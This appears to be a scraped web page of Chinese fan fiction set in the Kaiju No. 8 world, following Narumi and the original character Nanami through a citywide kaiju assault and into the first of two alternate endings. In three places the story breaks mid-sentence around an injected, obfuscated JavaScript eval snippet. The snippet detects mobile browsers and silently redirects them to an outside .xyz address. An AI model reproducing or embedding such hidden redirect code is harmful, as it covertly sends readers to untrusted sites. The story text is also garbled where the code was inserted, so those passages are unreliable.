她大概是用了太大的力气,嘴唇都变红了。 他们花了整夜才通关,看着最后那个界面,两个人同时双手举高欢呼,尤其是兴奋的鸣海,他看起来像是肾上腺素飙升过头的样子,很难判断他是不是精神状态正常。 毕竟下一秒他转过身两手捧住了七海的脸,然后在她的侧脸狠狠亲了一下,甚至距离太近了,她无法判断他是不是碰到了自己的嘴。 再下一秒,他已经向后躺倒在地板上,直接陷入了沉睡。 令她松了一口气的是,这小子可能真的不清醒,因为她听得出来这是真的睡着了。 不过他就不能不要拽着她的衣服吗。 翻了个身倚在她的身旁,半梦半醒中鸣海又在想自己应该一辈子都不会说出自己害怕猫的理由,特别是对七海。他始终认为弱小的动物会很轻而易举就死掉,就像他时不时会梦见死掉的七海阳菜一样。 然而他能躲开一只猫,或者说不去喜欢一只猫,可七海又不是猫。 33.内勤暴言(32) 内勤暴言(闲聊版本)@wffh 食堂换了另一个牌子的咖喱粉,牛肉太甜了好难吃。 十三楼的电梯门真的修好了吗,每次打开都有超可怕的声音。 而且,到底是谁一直把洗完的衣服忘在公共洗衣房? 13:52 dd/mm/yy twitter for web 从某种程度上来说,七海一直觉得自己的心理承受能力,或者说是消化一件难以理解的重大事件的能力,实在是太过强大了。因为即便她仍然会在看到父母的名字时,不可避免地回忆起那些关于自己这个完美实验体的论文,她也可以平静地抛出硬币,闭上眼祈祷一切平安。 新年的龙宁神社比往日要热闹得多,一直到了午后,临时的车辆管制区才被撤除,从鸣海的公寓步行过来大概需要三十分钟,一路上七海都觉得鸣海像是在梦游似的,若是松开拉着他的手,这小子就走不了直线。 虽然同样玩了通宵游戏的七海没有等来理应降临的睡意,但是她还是觉得自己的思考速度比平时慢了半拍。 其实她原本的计划里并没有和鸣海一起参拜神社这个项目,她只是想避开早上拥挤的人潮,过来和家人打个招呼,然后再回基地跟小此木广之交班,总得让人家赶回家在正月第一天吃个年菜。这年头像小此木家这种三世同堂,一家六口一个不缺的幸福家庭已经很少见了。 结果却成了现在这个情况,她瞥了一眼站在自己身边不知道是醒着还是睡着的鸣海,他两手合十放在胸前,含糊不清地碎碎念着:“初次见面我是鸣海弦……” 很便被喧闹的人声覆盖过去,七海也就没再留心继续听,而是摸出了什么东西用绳子卷起来,趁其他人不注意的时候踮脚放到了父母的名字后面。 半睁着眼的鸣海注意到了她的小动作,只是什么也没说,而是挠了挠后脑勺又打了个呵欠,用手肘碰了她一下。 “走了,送你回基地。”他说道。 “疲劳驾驶会死人的,我带着咪咪坐电车,它会乖乖待在背包里的。”七海拒绝得十分果断。 刚要转身走下台阶,突如其来的刺痛感穿透了隔音的耳机,她的眼睛陡然间睁大,嘴唇立刻变得青紫,一段又一段不属于她的记忆如同针刺一般进入了她的大脑,眼前的日常景象被什么东西抹去,她眼前是一只只睁开的眼睛还有一颗颗闪着奇特颜色光芒的核。 抱起失去意识的七海走到了人少的地方,鸣海将她放在石墩上,她就这样呆呆坐着,眼神空洞的样子好像陷入了另一个空间,仿佛被夺走了身体的功叔,慌张与无措让鸣海一时间连通知总部求救都想不起来,他只是跪在地上紧紧握着她的手,一遍又一遍叫她的名字。 直到七海冷不丁将他拉近,俯下身吻上了他的左眼,柔软的嘴唇触碰的瞬间,怪兽一号的视网膜不受控制地启动了,瞳孔中的印记变了颜色,他们自然而然共享了同一段画面——那一头又一头完全陌生的怪兽正在这片土地上苏醒。 惊讶得向后跌坐在地上,鸣海抬头看向面前的七海,她应该是慢慢缓过来了,正按着太阳穴在调整呼吸。 “终于还是……一次比一次看得更清楚了。”七海的声音虚浮,大约是又没了体力。 “从什么时候开始的?”鸣海爬起身拍了拍裤子,“你是不是故意没有吃抑制药?” 她愣了一下,哈哈笑出了声:“鸣海,我总是忘记你跟我一样都是满分考进防卫队的。” “回答我的问题,七海队员。”鸣海质问道。 “既然队长都看过那些资料了,就不用再问我这种问题了吧。”七海长舒一口气两手按在大腿上艰难地站起来,“放心,我有在研制另一种……” 迈出一步就发现自己双腿发软根本站不住,七海破罐子破摔似的又坐回石墩上,摸出能量棒撕开包装,咬了一大口一边咀嚼着一边看着鸣海说:“我知道没有上报是我的问题,偷你的账号看机密文件是我的问题。” 鸣海看着故作轻松的七海,一股无名火涌上心头,明明在医院门口的时候发抖成那个样子,明明成天说着不想死。 “但你也知道这个项目本来就是四之宫长官在主导,我不知道它被谁接手了,万一把我送去做什么惨无人道的人体实验就糟糕了。” 七海见鸣海沉默便继续说着:“再说了,活到快三十岁发现自己成了最后一道讨伐防线,跟三十岁突然签订魔法少女契约有什么区别。” “在做人体实验的人根本就是你自己吧,怪兽狂人!”鸣海可算憋不住了,上手扯住了她的脸,捏得七海几乎吃不了东西。 “嗷!”没气力的七海象征意义上甩了甩头以作反抗。 “还有上报的事情你想都别想,你不会以为伊丹那群老头子能对你有什么仁慈心吧,项目根本就不是功叔主导,是他压下来的。”鸣海撇了撇嘴嘀咕道,“早知道我就不提让你进部队的事情了……” “所以我进部队这件事果然就是你害的。”七海开玩笑似的翻起旧帐。 “行,我害的。”鸣海倒是没回怼。 “不过鸣海,我没后悔,”七海仰起头看了看天空,“不对,也不能说不后悔,我真的很讨厌训练。” “你也见到病房里那个男人了,”鸣海又开始不爽了,“你最好不要想着真的在前线做些什么。” “鸣海队长,再说下去就不太像你了,”七海扶着他的胳膊站了起来,“我可不会在你的部队里做逃兵。” 被这一句老实话噎住,鸣海也知道自己确实是给出了反常的反应,只能拉过她的手,让她扶着自己向下走,同时将脸别开,不让她再看自己的表情。 因为那一定很奇怪,不安的鸣海弦太奇怪了。 惦记着交班的事情,七海一回公寓便麻利地收拾完所有东西,甚至还把吃完的披萨盒垃圾打包完,提醒鸣海记得按时扔掉,并且再次拒绝了他送自己回基地。 尽管鸣海强调自己已经完全清醒,但七海仍然坚持,有些话她无法说出口,尤其经过这一夜的相处,她总觉得有些事情变味了。 或者说,她认为对她来说有些事早已经没有必要了。 在电车上,不太安分的咪咪忍不住要探出脑袋,七海只好偷偷把背包拉开一些,然后低声安抚着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485552|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它,冬日的阳光透过车窗,让七海不禁幻想时间暂停就好了,如果是这样的话,迄今为止短暂的四十六天的平和时光就会变成永远的。 距离上一次怪兽正式袭击已经过去四十六天,可是怪兽信号频繁出现,仿佛挑衅一般,七海其实骗了鸣海,她根本不知道什么药剂可以缓解自己的症状,但她却发现减少抑制药的摄入,就可以启动怪兽三号的链接能力,至少她感受到的,和目前出现过的怪兽信号的重合率越来越高了。 只是今天是第一次被动发作,七海猜测是因为鸣海在自己身边,怪兽一号的预知能力将他们连在了一起,她那个瞬间感受到的大约不是怪兽正在苏醒,应该是即将苏醒。于是在接下来的任何时刻,怪兽信号都有可能出现,怪兽也都有可能来袭。 把咪咪放回联络室,七海在交班表上签到时刚巧碰上执勤结束的小此木广之,他掏出证件刷了卡,然后在表格里标记上一夜无事。 “新年快乐。”对方主动打招呼。 “新年快乐,”七海点了点头,犹豫着又开口说,“对了,马上应该会开始全员无轮休执勤。” 总该让同事回去和家里人说一声,她这样想着。 “有通知吗?”小此木反问。 “最快明天,最迟也不会到后天下午,看伊丹长官审批的速度。”七海回答说。 “你怎么又什么都知道?”小此木微微皱眉。 “反正我提醒了,你和其他人也说一下。”七海避开了对话,快步走到电梯前按下按键,毕竟她也不能说这得看她什么时候写完信号预测的报告,并且通过会议吧。 好在这份报告她在那一次从医院回来就在写了,只是中途尝试了几次,感受到的都不算准确与清晰,今天难得能共享到这样一段画面,再根据前期保科那里给出的资料,至少可以为各个部队紧急圈出一些讨伐区域,提前进行巡逻。 只不过鸣海对自己说的那些话就要彻底变成耳旁风了,抱歉了队长,不上报是不可能的,虽然她能回避自己偷看机密文件这种犯法的大事,但也圆不回自己发现了三号能力的事实。何况事已至此,她都这么有利用价值了,讨伐厅怎么会随随便便把自己扔监狱里呢。 她对那群高层的人性可是充满了百分百的信心,因为他们压根没有那东西。 三小时后,七海通过当时四之宫为她开启的通道在系统紧急上报了这份报告。 当晚十一点,讨伐厅全体高层会议秘密进行,并于零点发布公文,从此刻起全员戒严。 二十个小时后,各师团各部队正式开始部署,此时连最微弱的怪兽信号都已监测不到,总部监控中心全部仪器陷入死寂。 站在装备车里的鸣海沉默不语,七海不知道这家伙还要生气多长时间,只是专心调试着怪兽一号的全套设备,直到刺痛感又重现。 “他们来了。”七海说。 鸣海低头同她对视了一眼,向前一步推开车门,正要出去时又停住脚步转过身来,他揽过七海的腰向她靠近,一个无言的亲吻印在唇上。 “等收工了再陪我过副本。”他笑了笑说完便扣上了面罩。 34.内勤暴言(33) 内勤暴言(外勤版本)@wffh 朋友们,搬砖去了。 回见。 13:48 dd/mm/yy twitter for web 众人甚至来不及惊异于七海给出的预测地区的准确性,因为即便是提前划分了讨伐区域,并派去了相当数量的小队,接连几个超大型怪兽警报几乎让整个监控室的仪器难以正常运转。中央那块巨大的屏幕上,每个亮起的信号数值都在攀升,从通信指挥中心转过来的求救信息像是洪水一般,整个东京正在以难以想象的速度沦陷。 几分钟前仍然和往常一般生活着的城市,仿佛被破开了一个又一个窟窿,无数的尖叫声与慌乱的脚步一时间钻进了七海的耳中,将那个突然的吻狠狠踹出了她的脑子,总是迟来的情感被过度敏锐的感官彻底打败。 重新修整过的三号装备需要更为强大的集中力,七海在头部增设了一个强化意识控制的模块,因为没有多余的时间进行测验,哪怕这会引发难以忍受的疼痛感,她也只能瞒着来栖将它配备上。况且为了避免最终的误伤,她必须要提前做好标记,意识链接的每一个末端对应着的都只能是敌人,而不是拥有了怪兽基因的人类。 在那之中怪兽九号的存在越发清晰,却又不完整,七海后悔自己应该更早地开始利用三号的能力,不然不会连筛选对象这么一件简单的事情都做不到。 冷汗从额角滑下,她攥紧了拳头,战力解放的指数正在逐渐突破原先的数字,拨开那一层混乱的链接,九号之前好像有一个熟悉的影子。 是怪兽二号,不对,那是…… “七海,别偷懒。” 通讯器里冷不丁传来了鸣海的声音打断了七海的沉思,她长舒一口气抬起头看向从高空坠落的巨型怪兽的半颗头,心里念叨着这个家伙好像天生就爱给自己找麻烦。 “没偷懒,我一直在你后面。”她回复道。 抬手射出蛛丝借力跃起,她迅速张开蛛网将头接住避免产生多余的污染区,接着跳到怪兽的背后,单手拔出军刀果断割下,同时利用蛛丝的黏性直接撕扯开伤口,闪着诡异色彩的核就这样映在那双冷淡的眼眸里,反手立刻将刀换成改装式柯尔特M2000。 一枪打穿核心,七海顺势切断蛛丝,下一秒攀在酒店高层玻璃外的怪兽尸体坠进地面的深坑中,大量的白色玫瑰被风吹散,花瓣扑了她一脸,翻身穿过被怪兽撞破的玻璃窗,七海轻巧落地,动作竟是这般干脆利落。 提前上来疏散婚礼宾客的小此木广之稍稍有些愣住,明明前些时候她还只是个喜欢在前线扯扯嘴皮子的没用的家伙,此时此刻这副姿态却让他不免想起一个人。 那个刚刚一刀砍下怪兽头颅,救下了这场婚礼主角们的男人。 “你这么厉害,教你的老师一定也很强吧。”鸣海看了一眼身旁在掸花瓣的七海。 “是啊,鸣海老师。”七海说着转身将一只余兽打飞,眉头又一次皱起。 “你又看到什么了,我不是警告过你不要再……”可惜鸣海的话没有说完,七海上前一步拉过他的手,然后撩起他的刘海指尖抚过他的双眼。 “安静,借你的眼睛用一下。”刚刚刺痛感提醒她有什么大怪兽正在觉醒,但她看不到它们,于是当一段不属于两个人的记忆再一次被共享的时候,七海知道自己又赌对了。 被无数的求救信息淹没而一刻不敢停歇的监控室内,坐在指挥位置的来栖终于发现了七海私自改装了怪兽三号的装备,他看着那个反常的战力解放指数,小心翼翼回头去看长谷川副队长的表情,对方似乎正在与前线的四之宫琪可露联系,便稍稍松了一口气。 他偷偷打开了与七海的个人通讯通道,压低了声音小声询问:“七海,这样下去你会撑不住。” “来栖组长?”七海似乎根本不在意他的问话,而是草草回道:“我注射了高浓度的营养剂,所以没关系。” “不是这个问题,战力解放已经超过百分之九十六了。”来栖尽力不要出声地说道,“就算是鸣海队长也不能超过十分钟。” “没关系的,请您现在听我说,预计在接下来的五分钟内,会有五只超9.8级的怪兽觉……登陆东京,”七海迅速改口而后继续说道,“就在提前划分好的区域,我想琪可露、保科副队长还有亚白队长应该都就位了。不出意外的话,这大概率只是一个开始,让日比野随时待机,九号的位置我还会继续寻找,请告知长官们做好心理准备,我们需要更多增援。” “你……”来栖一时失语,不知道如何应对这番话,“增援应该做不到了,京都第六部队传来受袭的消息,仙台也……” “没事没事没事,”七海默念了好几遍像是安慰自己似的,然后提醒说,“来栖组长,装备的解码器就在我办公室抽屉里,抱歉我没有申请就改了装备。” “你想要我做什么?”来栖听出她好像有言外之意。 “我现在有一个破局的方法,那需要我战力全解放,并且是百分之百,”七海顿了一下,“我只有一次机会,到那时我会给您信号,请您协助我。” “我猜你应该不会回答我的为什么吧?”来栖反问。 “您还是了解我,”七海轻笑一声,“那我们就约好了,合作愉快来栖前辈。” 掐断通讯的时候来栖有些不太习惯,平日里能冷着脸说出“死人在上班”的七海阳菜,过去在前线时就算是对着曾经的四之宫长官也是大吼过的,更别提她数落鸣海那些话,似乎只要脾气一上来,她会忘记自己在对话的人究竟是谁。 结果刚刚她居然在跟他商量,那竟然是商量的语气。 余兽的数量正在逐渐减少,七海站在高处注视着下方等待怪兽来袭的鸣海,刚刚信息也都传达给各个区域了,她清楚自己的做法对来栖来说也许并不公平,甚至有些残忍,可基地里已经没有她能够信赖的人了,可能结局没有任何区别,她也不希望自己把终结的按钮扔给别人。 至少在来栖这里,至少他会相信她的指令。 地底的深坑涌出了不知名的液体,坠落的怪兽尸体被吞没,陌生的巨型怪兽冒出头来,它的样貌与此前曾在台场海滨登陆的怪兽相似,但级别远远超过8.0级,伴随着一声长啸,掀起的巨浪将掩护部队彻底打翻。 监控室后方立刻将其标记为怪兽十一号,并同时调整了鸣海的战力解放数值,他将武器举过头顶在地面划出一道裂缝,七海随即将滑落的队员们用蛛丝吊住,示意身后的全员尽快撤退。 “我记得核心的位置是在……”鸣海低声自言自语,而后跳起来挥舞着武器斜向下砍中了它。 “不一样,鸣海那不一样!”七海喊出声。 果然,他没有砍中。 那只是一团水球,在空中破碎开,浇了满地。 “误判了是吗,人类?”怪兽十一号缓缓昂起头,两手摊开,一副平静自如的模样,“让我重新教你一次。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536231|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一号的视网膜同时发动,鸣海以为自己看到了十一号的动作谁料到手指抬起的同时,水珠聚集直接击中了鸣海,战斗服的自我修复功能紧急开启,不仅是当场的七海,连整个后方都惊呆了,她刚把最后一个队员从下面拉上来,便看到鸣海撑着武器跪倒在地。 “退后,”她刚要上前时,鸣海已经站了起来,“离开这里。” 怪兽十一号又一次要抬起手,鸣海的精神再次紧绷,对方似乎完全了解怪兽一号预知能力的原理,自己只能通过电信号预测有生命的物体,而它破解的手段也称得上是无懈可击,鸣海觉得自己应该需要七海的分析,可现在不是依赖那个女人的时候。 只不过不听上司命令一直以来都是七海阳菜的良好美德,确认其他人撤退到安全地带后,她回到原先的装备车内,强行闭锁了其他的感官,用与怪兽十号链接的方法窥探了十一号的记忆,那个同样的身影出现了。 七海也在这时候确认了自己看到的模糊身影,她睁开双眼,茫然与绝望同时出现了,多讽刺啊,这一切记忆都来自于四之宫功,那个把人类未来放在自己和鸣海肩膀上的伟大的人,他教会了怪兽们如何杀死人类。 时隔许久,她第一次希望四之宫长官已经完全失去了自己的意识,那对他来说应该是件好事,否则内疚也足以杀死一个人。 回到讨伐战场,当七海再去注视怪兽的眼睛时,难以名状的诡异的凉意沿着脊背钻进了身体里,她下意识打了个冷颤,握着枪的抖了两下。 真糟糕,这种被摆在客体上的感觉。 两发子弹不偏不倚打中了十一号的瞳仁,凄厉的叫声刺耳得很,七海从它身后绕过回到了鸣海的身后,接着重新触碰鸣海的双眼。 “它的恢复时间有四十秒,我能利用一号的能力让你看到那之后的一分钟会发生的事情,你要趁机躲开所有的攻击将它斩开。” “你就不能听一次命令吗?”逐渐习惯了这种共享视野的感觉,鸣海抚上她的手背说道。 “因为你需要我。”七海拍掉鸣海的手,转过身将注意力集中在对面的怪兽十一号身上,“最后六秒,鸣海,干掉它!” “你可不要命令我!”得到了提示的鸣海勾起嘴角,挥起武器又冲向前。 “少说两句废话吧……”一句拌嘴的话没说完,十一号操控着水球偏过鸣海,毫不留情地将七海按在了地上,手臂被尖利的石块划开一道,鲜血混进水中,染红了她的战斗服。 同一时间,鸣海的刀深深陷进十一号的体内,核心彻底暴露出来,但可怕的复原速度让核心逐渐又被新生的组织覆盖,七海艰难支撑起身体射出蛛丝将它的伤口撕开。 “鸣海!”她喊得喉咙沙哑。 一枪又一枪,鸣海连连扣动四次扳机,直到十一号的那颗核像真正的水球一样炸开,整个尸体融进了地上的液体之中,也带走了裹住七海的血水。 “墨田区讨伐成功了!” 监控室内欢呼起来,来栖握着七海让他拿来的解码器,他乐观地想着这一次不会用到这个,却在抬头看向监控屏幕时,看到了其他区域只增不减的伤亡人数。 “立花小队长的生命体征正在……立花小队长,请回复!” 旁边的监控人员在重复呼叫,长谷川那里也收到了东云的求救信息。 “副队长,请求增援,立花他……快来人啊!我这里需要人!” 崩溃的叫喊声就这样通过公共频道传了出去。 35.内勤暴言(34) 内勤暴言(外勤版本)@wffh 朋友们,搬砖去了。 回见。 13:48 dd/mm/yy twitter for web ———————————— 咖啡蒙布朗@hs1121 reply to @wffh 祝你准时下班。 ———————————— 怪兽十一号的几次攻击还是让鸣海受了难以自愈的重伤,他一个反手收回武器,刀尖卡进废墟砖块里,但他暂时没有多余的力气将它拔出来,便将整个人的重量倚靠在上面,低头喘着粗气。喉咙里有明显的血腥味,每次呼吸都疼得他倒吸凉气,他想自己大概是断了几根骨头,只是战斗服的修复功能太强了,或者是肾上腺素的影响,他甚至还能直起腰。 喘息间他回头瞥见面色苍白的七海,她正踉踉跄跄向他这里走来,战斗服的袖子被染得通红,一副眉头紧锁的样子,感觉下一秒就要晕倒了。 “先回车里。”她伸手轻轻拍了拍他的胳膊,“我……我也得补一次营养剂。” 刚想回答时,公共通讯频道内传来的求救声让两个人心里一紧,东云嘶声力竭喊着救命,那是过去断然不会发生的事情,可还没回复通讯就被单向关闭了,鸣海与七海对视了一眼,接着咬牙拖着武器回到了装备车内。 他知道后方这么做是正确的,讨伐区域一早便被划分完毕,遵守命令是防卫队员的基本原则,无论如何都不允许有任何人在这时候逞英雄,不过意识到自己根本救不了所有人的那个当下,鸣海还是有些说不出的失落。 车内的沉默的氛围也让人难忍,七海将调试器的连接线一根一根接好,移动显示器上的数值逐渐回升,她稍稍松了一口气,根据怪兽一号的组织仿制的战斗服有着超出平均的防御与修复功能,现在的鸣海只要短暂的休息就稳定住体征。 接着她瘫坐在一边掰开安瓿瓶为自己注射了第二针营养剂,此前与鸣海链接借用预知能力耗费了太多热量,连手臂伤口的愈合速度都变慢了,这还是在战斗服强化了能力的前提下。 “长谷川会安排好的。”鸣海轻声自言自语,不知是在安慰自己还是在陈述事实。 “副队长一直都会安排好一切,队长不是最清楚了吗?”七海闭着眼靠在车窗上等待着血糖回升,有时候她觉得自己这种下意识回怼鸣海的习惯真是太神奇了,自己人都半死不活了,还能分出精力对着他阴阳怪气。 就在二人说话间,她感受到附近出现了一阵超强的怪兽信号,整个人寒毛直竖,警惕地直起身,微弱的电流声在耳中响起,下一秒公共通讯频道再次被打开。 “所有人注意,怪兽八号支援到位,东云小队已获救,重复一遍,东云小队已获救,其余人继续坚守阵地,防卫部队绝不退让。” 长谷川甚至把最后几个字加了重音。 “我承认长谷川说话确实很让人安心。”鸣海点了点头,“不过还是比我差了一点。” “我会当做自己没听见的,”缓过神的七海看了看屏幕,然后抬起头看他,“内出血暂时都止住了,不过还是检测到了多处骨折。” “七海医生,我还有救吗?”鸣海开玩笑道。 “很难说,如果刚刚那种东西再来一轮,我们都没救了。”七海站起来,一脸平静地说着很可怕的话。 只是鸣海倒也不在乎七海在这时候乌鸦嘴,因为不管说没说中,讨伐都还在继续,而是像想起了什么似的开口道:“不过日比野那家伙的待机位置好像不在东云那里吧。” “非要在这时候挑刺吗?”七海扯了扯嘴角摇摇头,“前辈跟着我真是学了不少好习惯啊。” 车里的氛围逐渐变得轻松,直到怪兽九号的声音突然在七海的脑海里响起,她反应迅速地别开脸不让鸣海看到自己的表情,而后不动声色转过身拔掉监测自己心跳的仪器。 “我的老朋友,哦不对,应该称呼你是新的老朋友。” 她抬手拉开车窗,调动感官寻找怪兽九号的所在处,可周围什么动静也听不到,一片死寂,连刚刚还在四周爬行的余兽都不见了,这过于诡异了,她听不到任何生物活动的声音。 “真是怀念啊,我们之间这样的交流。”它继续说着。 警惕的七海没有在脑内回复九号的寒暄,姑且这样说吧,她也不知道它在打什么主意。 “你作为人类果然还是聪明,我从没有想过可以利用预知未来的能力来共享视野,四之宫功的记忆里没有,看来他也没有想到。”九号的言语之中不带一点戏谑,以至于听起来像是真实的称赞。 但直接在对话中提及长官还是越界了,七海沉不住气回复说:“不要这样随随便便说出长官的名字。” “原来这是不可以的,是的是的,没错,我学到过的,电视里有那种,怎么形容的,长幼尊卑,还是职场上下级?”它笑了笑。 七海觉得自己的耐性快被磨没了,单刀直入问道:“你做这些事情的目的究竟是什么?” “我的目的?目的啊,我从未想过目的,我只不过是在做你们一直在做的事情,研究与学习,这不是人类最擅长的事情吗?”它反问。 “你是在屠杀。”七海攥紧了双拳。 “从你们人类嘴里听到这个词还真的是……我想我知道应该用什么形容词,哦,讽刺,人类是怎么获得基因的,你是怎么听到我的声音,那个雄性人类是怎么看到未来的,”它停顿了一下,“结果是谁在屠杀? 九号说的话越多,七海就觉得自己越喘不上气,她倚着车厢慢慢跪倒在地,鸣海应该是在叫她,可她暂时出不了声,急促的呼吸好像带走了所有的氧气。 “所以我会继续做你们在做的事情,新的老朋友,中场休息已经结束了,请你欢迎真正的老朋友吧。” 它总算还是为她揭开了最后的谜底。 剧烈的头痛让正常思考变得困难,七海直接用指甲抠开手臂上尚未完全愈合的伤口,鲜血再次流出来滴在车内,跪着的她向一侧蜷缩成一团,双眼紧闭却又抑制不住自己的兴奋,她完全无法分神去教训提前解开调试器连接线的鸣海,只是盯着他的眼睛,笑容浮现在脸上。 这才是她发现了新成果时真正喜悦的表情,可鸣海一点都不想在这时候看到。 “我真的猜对了,我的推断全部都是正确的,那个最高意识确实存在,鸣海,我们有救了……”她的手冰凉,脸色更是越来越差。 “这种时候你能不能说两句人话。”鸣海用了很大力气才把她的手从伤口上拿开,一边说一边将医药箱翻倒,抽出纱布连着缠上好几圈。 “我找到了要毁掉的主机,你懂吗,我找到了。”七海再次解释。 “再换一句人话?”鸣海看着又渗出的红色,死死咬住了后槽牙。 “算了……”七海抓着他的手被扶着走到显示器前,确认了一遍他所有的数值都基本恢复,然后伸手在他的腰间与胸前轻按了两下,见他只是露出微微吃痛的神情,长舒一口气说:“我想你应该还可以再打一场,这套衣服还撑得住。” 刚刚还没有动静的装备车外,地面震动了几下,阵阵低吼声同时出现,鸣海轻哼一声将将武器上膛:“别开玩笑了,本大爷还可以再打两百场” 说罢他冲出车门,迎击新一轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561916|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地底怪兽。 但是这一次七海却没有紧跟上他的脚步,她连跳下装备车都很费力,整个人步伐沉重,缓慢地向着某个方向一步一步前进,她解开面罩,将眼睛闭上,捂住自己的耳朵,将自己所有的注意力都用来锁定九号口中的那位“朋友”。 眼角、嘴角、耳朵里逐渐有血淌下来,她深吸一口气抬头望向变暗的天空,那头硕大的巨兽几乎遮蔽了最后一点光亮。 “来栖组长,听我说……” 心想着是时候了,七海低头按下通讯器,又看向了鸣海的背影,尽管眼前的世界已经不再清晰,她也没舍得移开目光。 只是不知道为什么,她在这一秒回想起了自己第一次帮他通关游戏的时候。 才做完视网膜移植手术的家伙成天嚷嚷着要打游戏,七海完全不理解一个二十岁的成年人怎么会像个小学生似的幼稚,结果这态度惹急了鸣海,蒙着纱布的家伙拍着病床上的枕头撒气,还对着七海怒斥道:“谁幼稚了,明明是因为你这笨蛋根本不会打游戏,不懂就闭嘴!” 被质疑了智商的七海一点不惯着这小子,当天下午就坐在他的病房里通关了他卡了三天的关卡,并且轻轻松松打通了整个副本。 “那我现在可以承认你不是笨蛋了。”鸣海不服气地说着。 “真是笑话,你的承认又不值钱。”七海冷嘲热讽道。 “本大爷可是第一次认可别人,你要珍惜。”就算鸣海的眼睛被包着,七海也觉得他应该是瞪着双眼的。 “是吗,那真是太遗憾了。”七海放下游戏机,轻轻一点他的额头微微一笑,就像是一种认证,于是他们自那之后成了捆绑在一起的游戏搭子。 此刻她又笑出了声,觉得如果这是死之前最后一个回忆的东西,那才是真的遗憾。 迄今为止最为强烈的地震来袭,后方的监控中心都受影响启动了备用电源,来栖与一群技术员们强作镇定,冷静编辑着最新接收的信号,接着深吸一口气按下通讯按钮,向都内全体防卫部队成员发去情报。 “东京沿海、空中、地底,以及京都、仙台、秋田和冲绳均被怪兽信号覆盖,超过全日本面积的百分之六十八,数量无法估计,最低级别8.2级……” “墨田区请注意,新登……登陆的新怪兽等级超出仪器检测限度,我们无法判定……” 他知道自己现在一定听起来很窝囊,身体与声音都在颤抖,但他也知道自己应该没办法抵抗着本能的恐惧了,身后的同事刚刚挂断了与家人的最后一通电话,她在通话中笑着安抚年幼的女儿:“听爸爸的话,妈妈很快就可以下班了。” 眼泪在眼眶打转的时候,来栖听到自己的通讯器中传来七海虚弱却又平静的话语声,她要求立刻打开解码器,就现在,迟一秒都不行。 “你能不能告诉我这到底是为了……”来栖的话被打断。 “前辈,这是让大家都活下去的唯一办法,您答应我的。”她说。 仍旧是那个不容拒绝的商量语气,来栖决定相信她,用左手按住发麻的右手,按照七海的指挥点开了解码程序。 “七海队员战力指数全解放,数值百分之百,倒计时开始。” (WARNING)(WARNING)(WARNING) ———————结局分割线—————— 下周会更新两个结局,分为A牺牲线与B存活线,所以选择A的朋友请直接看下一章,选择B的朋友跳过下一章就可以,两个都是真结局,各位读者朋友相信哪一个,哪一个就是真的。 结局更新完会有简短的番外,番外同样对应AB两个结局,各位各取所需(鞠躬) 36.内勤暴言(结局A) 内勤暴言(外勤版本)@wffh 朋友们,搬砖去了。 回见。 13:48 dd/mm/yy twitter for web ———————————— 咖啡蒙布朗@hs1121 reply to @wffh 等待更新,但看起来您再也没有下过班的样子。 ———————————— “奇迹,是奇迹!” “这太不可思议了!” 不知道是谁先喊出声的,一直埋着头的来栖突然抬起头来,全解放的倒计时早就结束了,他依旧无法相信自己几秒钟前看到的数值,睁眼前还是百分百的战力指数突然归零,稳定的生命体征突然消失,通讯器里只留下了一阵闷响,即便百分百的战力指数会造成不可逆的严重损伤,即便如此,这也不是应当出现的情况。 他看向周围的技术员们,兴许是先前大量的牺牲让大家早已无暇顾及个别人的生死,他们整理着讨伐前线传回的一条又一条最新战况,各处的实时影像在大屏上同时展开—— 近畿地方、东北地方以及冲绳的怪兽信号彻底消失,东京都内调布机场、涩谷、港区等区域出现的怪兽同时失去行动能力,怪兽九号已被讨伐,十二号、十三号至十五号主兽核心被成功剥离。 第一部队四号适配者四之宫队员、怪兽八号日比野队员及东云小队全员幸存,生命体征稳定。 第三部队十号适配者保科副队长与亚白队长成功汇合,正在返回部队驻地。 第四部队六号适配者市川队员报告支援任务完成,第六部队保科队长反馈京都府内并无伤亡。 …… 几分钟内,监控屏幕上标红的区域一块接着一块消失,怪兽信号最后集中在鸣海带队驻守的墨田区,来栖猛地站起身来,反复在通讯器中呼叫鸣海,他依然保持战力全解放的状态,时间已经超过了身体的极限。 “鸣海队长,请停止讨伐,鸣海队长听到请回复,放下武器停止讨伐!” “鸣海,这是命令!”长谷川在后面喊出声,意识到这没效果之后便立刻改口,“七海你管管这小子,七海快回话。” 而画面上的男人只是扯下面罩将通讯器踩碎,将倒下的巨兽剖开,对着露出的硕大核心射出了一发又一发子弹,哪怕地面被震碎,摇摇欲坠的楼房再次坍塌。 